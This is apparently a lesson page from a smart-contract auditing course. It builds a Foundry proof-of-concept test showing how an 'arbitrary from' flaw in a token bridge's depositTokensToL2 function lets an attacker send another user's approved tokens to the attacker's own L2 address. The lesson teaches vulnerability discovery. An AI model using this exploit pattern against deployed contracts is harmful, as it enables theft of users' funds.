_Follow along with the video lesson:_ --- ### Exploit - Arbitrary From - PoC Now that we've identified an exploit in the use of an `arbitrary from` in `depositTokensToL2`, let's write a Proof of Code to demonstrate the issue. We can leverage the existing test suite to write our tests. Navigate to `L1TokenBridge.t.sol`. This test suite has a decent setup we can leverage, so our user (Alice) is configured with funds already and a vault etc has been prepped for us. Our test should just need to start with Alice, innocently approving the tokens she wants to move to L2. ```js function testCanMoveApprovedTokensOfOtherUsers() public { // poor Alice approving vm.prank(user); token.approve(address(tokenBridge), type(uint256).max); vm.stopPrank(); } ``` Now's time for Bob. We're going to set the amountToSteal to Alice's token.balanceOf and create a new attacker user to represent Bob in the transaction. We then prank the attacker. ```js uint256 amountToSteal = token.balanceOf(user); address attacker = makeAddr("attacker"); vm.prank(attacker); ``` From here, the order in which we do things in quite important. We know when `depositTokensToL2` is called that an event is emitted and at the root of this vulnerability is that this event is going to be populated with malicious data - Bob's L2 address! In order to detect an event in Foundry's test framework we can use `vm.expectEmit`. By setting `vm.expectEmit`, _then_ emitting what we expect the function to emit, **_then_** calling that function, the test suite will compare our expectations to what is actually emitted by the function. ```js vm.expectEmit(address(tokenBridge)); emit Deposit(user, attacker, amountToSteal); tokenBridge.depositTokensToL2(user, attacker, amountToSteal); ``` And finally, we can close our test off with some assertions. We can show that Bob's transaction left Alice with 0 tokens, and that those tokens are in the vault, waiting to be minting on L2 at the emitted L2 address (Bob's!) ```js assertEq(token.balanceOf(user), 0); assertEq(token.balanceOf(address(vault)), amountToSteal); vm.stopPrank(); ``` <details> <summary>testCanMoveApprovedTokensOfOtherUsers</summary> ```js function testCanMoveApprovedTokensOfOtherUsers() public { // poor Alice approving vm.prank(user); token.approve(address(tokenBridge), type(uint256).max); vm.stopPrank(); uint256 amountToSteal = token.balanceOf(user); address attacker = makeAddr("attacker"); vm.prank(attacker); vm.expectEmit(address(tokenBridge)); emit Deposit(user, attacker, amountToSteal); tokenBridge.depositTokensToL2(user, attacker, amountToSteal); assertEq(token.balanceOf(user), 0); assertEq(token.balanceOf(address(vault)), amountToSteal); vm.stopPrank(); } ``` </details> Now, we can run this test. ```bash forge test --mt testCanMoveApprovedTokensOfOtherUsers -vvv ``` ::image{src='/security-section-7/20-arbitrary-poc/arbitrary-poc1.png' style='width: 100%; height: auto;'} ### Wrap Up Boom! A proof of code demonstrating that anyone can call this function on someone elses approved tokens, stealing them on L2. Our first `High`, we found it pretty quick and `Slither` was a huge help, thanks `Slither`! Let's keep going, `Slither` had another red detector in that output... See you in the next lesson!
We detail a proof of code for our identified 'arbitrary from' vulnerability.
Previous lesson
Previous
Next lesson
Next
Give us feedback
Solidity Developer
Smart Contract SecurityDuration: 25min
Duration: 1h 18min
Duration: 35min
Duration: 2h 28min
Duration: 5h 03min
Duration: 5h 22min
Duration: 4h 33min
Duration: 2h 01min
Duration: 1h 40min
Testimonials
Read what our students have to say about this course.
Chainlink
Chainlink
Gustavo Gonzalez
Solutions Engineer at OpenZeppelin
Francesco Andreoli
Lead Devrel at Metamask
Albert Hu
DeForm Founding Engineer
Radek
Senior Developer Advocate at Ceramic
Boidushya
WalletConnect
Idris
Developer Relations Engineer at Axelar